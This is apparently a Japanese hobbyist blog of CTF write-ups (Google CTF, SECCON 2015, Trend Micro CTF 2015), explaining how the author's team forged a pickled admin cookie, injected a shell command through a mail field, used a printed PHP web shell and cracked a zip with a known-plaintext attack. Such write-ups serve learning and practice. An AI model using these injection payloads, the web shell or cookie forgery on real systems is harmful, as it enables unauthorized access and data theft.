煙と消えるその前に

一服してるうちに忘れる、自分のための備忘録。とかとか

Google Capture the Flagに参加した

https://capturetheflag.withgoogle.com/rulesに参加しました。
チームはRoute9。順位は147位でした。(得点のあるチーム数が911/登録チームは2395)

しかし僕は1問しか解けず、しかもFlagのコミットしてないというなんとも悔しい感じに・・・。
子供の相手してると時間が足りないんだ!(言い訳)

Web 50points Spotted Quoll

f:id:paty_fakename:20160502131351p:plain

サイトの/adminにアクセスする問題
サイトにアクセスした時点で変なクッキーがついてました

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

Base64デコードすると以下の文字列に

>>> import base64
>>> print base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")
(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

python pickleで検索するとpythonのライブラリがひっかかりました。オブジェクトのシリアライズをしてくれるものらしく、RubyのMarshalみたいなものかなと。

先ほどの文字列をpickleでデシリアライズします。
(この時pickleをそのままimportすると、シリアライズ時の数字が0から始まってしまい期待通りにいきません)

>>> import cPickle pickle
>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'python': 'pickles', 'subtle': 'hint', 'user': None}

userに入れてくださいと言わんばかり(笑)。
なのでuserにadminを入れてシリアライズし、実際に投げたところFlagが取れました。

>>> base64.b64encode(pickle.dumps(s))
'KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4='

$ curl -k https://spotted-quoll.ctfcompetition.com/admin -H "Cookie:obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4="

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?

SECCON2015オンライン予選に参加してきた

今年もSECCON 2015 Online CTFに参加してきました。
いつものRoute9で参加。99位!ギリとはいえ2桁台という嬉しい結果に。
参加記録をかねて解けた問題(フラグ入力したとは言ってない)のwriteupを書きます。

Web/Network100 Connect the Server

低速回線環境のサーバ?のようですがブラウザでアクセスしてしばらく放置してたらflagが取れました(汗
リクエストタイムアウトをいじらないといけない問題だったとかなのかな・・・?

f:id:paty_fakename:20151206162946p:plain

途中に関係ないデータが挟まってますが、ASCII部分だけ繋ぎ合わせて
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Web/Network100 Entry form

メアドを登録するとメールを送信するWebサービス
とっかかりがわからなかったんですが、チームメンバー曰くrootパスにディレクトリインデックスがついているとのこと。
さっそくアクセスするとファイル一覧が見えた。

f:id:paty_fakename:20151206163723p:plain

/register.cgi_bakにアクセスしてみると、register.cgiのソースが見えました。

f:id:paty_fakename:20151206163825p:plain

どうやらlogファイルの中の先頭2行にflagが入ってそう。

mailクエリをごにょればいけそうということで色々試したところ、mail="|ls -l"が使えたので、それでディレクトリ漁ってみるとlogファイルがありました!しかしlogのアクセス権は 640 apache:cgiなのでcgiユーザでは読めません。
じゃあ、ということでSECRETSディレクトリのその中を見てみると、backdoor123.phpなるファイルが。

backdoor123.phpの中身はこんなのでした。cmdを渡せばそのまま実行してくれる。

<pre><?php system($_GET['cmd']); ?></pre>

しかもこのbackdoorがapache権限で動いているので、こいつ経由でlogの中身を抜き出してflagげっと。
(こんな感じのアクセス -> /SECRETS/backdoor123.php?cmd=head%20/var/www/html/log)

SECCON{Glory_will_shine_on_you.}

Crypto100 Unzip the file

パス付zipファイルを解凍する問題。
zipの中には backnumber08.txt backnumber09.txt flag の3つのファイルが入ってることはわかりますが解凍方法がわかりません。
色々調べたところ、既知平文攻撃が使えそうとのこと。そこでpkcrackというツールを使います。
既知平文攻撃をするためにはzipの中に入っているファイルが何か必要なのですが、backnumberから類推して、おそらくSECCONのメルマガだろうと推測してWebからページをDLしました。
落としてきたファイルをzipにしてpkcrackに食わせてみるとflagが取り出せました。

wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
zip backnumber08.zip backnumber08.txt
pkcrack-1.2.2/src/pkcrack -C unzip.zip -c backnumber08.txt -d decrypt.zip -p backnumber08.txt -p backnumber08.zip
unzip decrypt.zip

取り出したflagもzipファイルになっているため、解凍したところflag自体はwordファイルのようでした。
手元にwordがないので中身のxmlを見てみるとword/document.xmlにflagがありました。

$ file flag
flag: Zip archive data, at least v2.0 to extract

SECCON{1s_th1s_passw0rd_ weak?}

Trend Micro CTF Asia Pacific & Japan 2015オンライン予選に参加してきた

Trend Micro CTF Asia Pacific & Japan 2015|トレンドマイクロに参加してきました。
いつものRoute9というチームで参加し、結果は154位(得点したチーム総数359チーム)でした。
真ん中ちょい上、なんともコメントしにくい感じ。またがんばるぞー。

てことで、参加記録をかねて解けた問題のwriteupを書いておきます。

Analysis - offensive100

アクセスするとsign_in, sign_upがあって、sign_inするとアクセス一覧みたいなのが表示されるサイト。
cookieにuserが入ってたのでなんか怪しいなーと思いつつ、時間経過で値が変わったりするので無関係かなーとも思いつつうだうだしてました。
するとメンバーがこんな一言を
f:id:paty_fakename:20150928140425p:plain

さっそく見た人で試してみることに。

$ curl http://ctfquest.trendmicro.co.jp:8888/95f20bb7856574e91db4402435a87427/signin -X POST -d "username=1&password=1&fuel_csrf_token=272c193c32f2e4cc7be0b7153027d5147bcc6c34c2aa9a3582729c3da89658" -i
HTTP/1.1 302 Found
Date: Sat, 26 Sep 2015 10:50:01 GMT
Set-Cookie: user=96d9d1268c579e6a6f707c274b09d830f80a6dfa; path=/

cookieにuserの値を突っ込んでアクセスすると鍵が取れました。
f:id:paty_fakename:20150928140829p:plain

Analysis - Defensive100

問題文のリンク先をDLするとvonnという実行ファイルが出てきます。
チームメンバーの曰く
f:id:paty_fakename:20150928141130p:plain
・・・とのこと。何気にこの記事書いてて気づいたけど、答のflag聞いてNEEEEE orz

Analysis - Others100

壊れたPDFが対象の問題。
ヴューワによっては壊れてても無視して開いてくれちゃいました(もちろん答えはわからないけど)

PDFのフォーマットなんて調べたこともないし、できれば楽したいなーと思い、rubyorigamiというパーサを使ってみると。

2.1.5 :001 > require "origami"
2.1.5 :002 > puts Origami::PDF.read("fix_my_pdf.pdf").pages
[info ] ...Reading header...
[info ] ...Parsing revision 1...
[error] Breaking on: "stream\nx\x01\xED..." at offset 0x1581
[error] Last exception: [Origami::InvalidObjectError] Cannot determine object (no:13,gen:0) type
[info ] ...Parsing xref table...
[info ] ...Parsing trailer...
[info ] ...Propagating types...

0x1581はここのstreamの箇所
13 0 obj
stream
...
endstream

なんかobject no13のところが壊れてると教えてくれたのでそこを見てみる。よしわからん。
しぶしぶPDFのフォーマットをぐぐったところ、辞書句?を指定する必要があるとのこと。
13 0 Rを参照しているところを検索すると以下のような部分がヒットしたので、もうこれは画像で決まりだろうと勝手に思い込み(100点問題だし...)

10 0 obj
<< /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 15 0 R >>
/XObject << /Im1 11 0 R /Im2 13 0 R >> >>
endobj

何を書けばいいかわからないので、同じように画像を指定をしている箇所から辞書句をコピペしてみました。

13 0 obj
<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 305 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 17 0 R /BitsPerComponent 8 /Filter /FlateDecode >>
stream
...

これでフォーマットチェックは通るけどpdfを開いても壊れた画像が見えるだけ。何が足りないのかわからず悶々としてると・・・
f:id:paty_fakename:20150928142300p:plain

適当に画像幅を変えてたら答えが見えたんだって┐( ̄ヘ ̄)┌
ちゃんと解決してないけど、解けたから良しで先に進みましたとさ。
f:id:paty_fakename:20150928142553p:plain

Programming100

別の問題で悶々としてる間にメンバーが解いてくれてました。多謝。

回答ソースコード

Programming200

別の問題で悶々とry
この辺を参考にしたそうです Ruby - Hashクラス(ローマ数字を数値に変換) | Kamimura's blog

回答ソースコード